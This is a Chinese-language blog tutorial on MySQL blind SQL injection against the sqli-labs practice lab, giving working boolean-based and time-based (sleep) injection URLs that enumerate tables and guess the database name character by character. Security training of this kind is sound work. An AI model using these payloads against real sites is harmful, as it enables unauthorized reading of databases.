首页 > 数据库 >mysql盲注

mysql盲注

时间:2022-12-05 00:22:30浏览次数:42  
标签:mysql 192.168 labs sqli 条件 盲注 id

盲注是在没有回显的情况下使用的注入方式,根据盲注方式的不同分为布尔盲注和时间盲注

一、布尔盲注

布尔盲注前提条件是存在注入点并且条件成功和失败页面特征不一致,基于布尔的判断是根据我们构造语句返回的 True 或者 False 来判断数据内容。

sqli-labs less-1

http://192.168.1.63/sqli-labs/Less-1/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=3 --+

 

 此时条件不成功,没有正确显示id=1的结果说明and后面的条件不成立,当前数据库中表的数量不为3

 

http://192.168.1.63/sqli-labs/Less-1/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

 

 能够正确显示id=1的结果说明and后面的条件成立,当前数据库中表的数量为4

二、时间盲注

无论条件正确与否都没有任何回显和错误提示,此时使用时间盲注。

基于时间的盲注则是使用 if 语句进行条件判断,满足判断条件则执行 sleep 语句,不满足不做任何操作从(也可以相反)。根据造成页面的响 应时间长短判断结果。

sqli-labs less-8

当条件成立时休眠三秒,条件不成立时不做任何操作

http://192.168.1.63/sqli-labs/Less-8/?id=1' and if (ascii(substr(database(),1,1))=114,sleep(3),null) -- +

 

 响应时间只有6毫秒,说明条件不满足

 

http://192.168.1.63/sqli-labs/Less-8/?id=1' 1' and if (ascii(substr(database(),1,1))=115,sleep(3),null) -- +

 

 响应时间超过3秒,说明条件成立,数据库名称第一个字符的ascii码等于115,对应字符s

 

标签:mysql,192.168,labs,sqli,条件,盲注,id
From: https://www.cnblogs.com/jihejihe/p/16951289.html

相关文章

  • MySQL和SQLserver中group by的区别
    https://blog.csdn.net/weixin_48720080/article/details/126289174力扣中做了一道题,groupby可以在mysql中用,不能在mysqlserver中用,因为groupby后面没有select中的字段......
  • 忘记mysql本地root的登录密码该怎么办??
    解决过程:1、编辑/etc/my.cnf在[mysqld]配置部分添加一行skip-grant-tables2、保存后重启mysql[root@localhostetc]#servicemysqldrestartShuttingdownMySQL.......
  • MySQL MHA
    一、MHA概述MHA(MasterHighAvailability)是一套优秀的MySQL高可用环境下故障切换和主从复制的软件。MHA的出现就是解决MySQL单点故障的问题。MySQL故障切换过程中,MHA能做......
  • Mysql 权限操作
    --使用mysql库,查询host和用户名usemysql;selecthost,userFROMuser--创建一个用户(这样创建默认是%,表示任何ip都可以连接)createuser'zhang3(这里填写用户名)'IDEN......
  • MySQL 存储过程浅谈
    一、存储过程定义​存储过程(StoredProcedure):一组为了完成特定功能的SQL语句集,存储在数据库中,经过一次编译后不需要再次编译。二、存储过程特点1、可以完成复杂的判断和......
  • MySQL 高级SQL语句
    一、高级SQL语句(进阶查询)先准备2个表一个location表:  一个store_info表:  1.1selectselect,显示表格中一个或数个字段的所有数据记录。    1.2dis......
  • Mysql主从复制,读写分离
    一、Mysql主从复制概述在企业中,业务数据量通常都比较大,单台Mysql在安全性,高可用性和高并发方面都无法满足实际需求,因此可以通过主从复制的方式来同步数据,再通过读写分离来提......
  • MySQL数据库 事务
    一、事务的概念事务是一种机制、一个操作序列,包含了一组数据库操作命令,并且把所有的命令作为一个整体一起向系统提交或撤销操作请求,即这一组数据库命令要么都执行,要么......
  • MySQL存储引擎
    1.MyISAM底层存储(非聚集索引方式)与InnoDB底层存储(聚集索引方式)1.1MyISAM底层存储(非聚集索引方式)Myisam创建表后生成的文件有三个:frm:创建表的语句MYD:表里面的数据文......
  • MySQL 日志管理
    一日志分类日志种类 作用错误日志 记录MySQL服务器启动、关闭及运行错误等信息事务日志 1、redolog重做日志2、undolog回滚日志查询日志 记录所有的sql慢查询日志 记......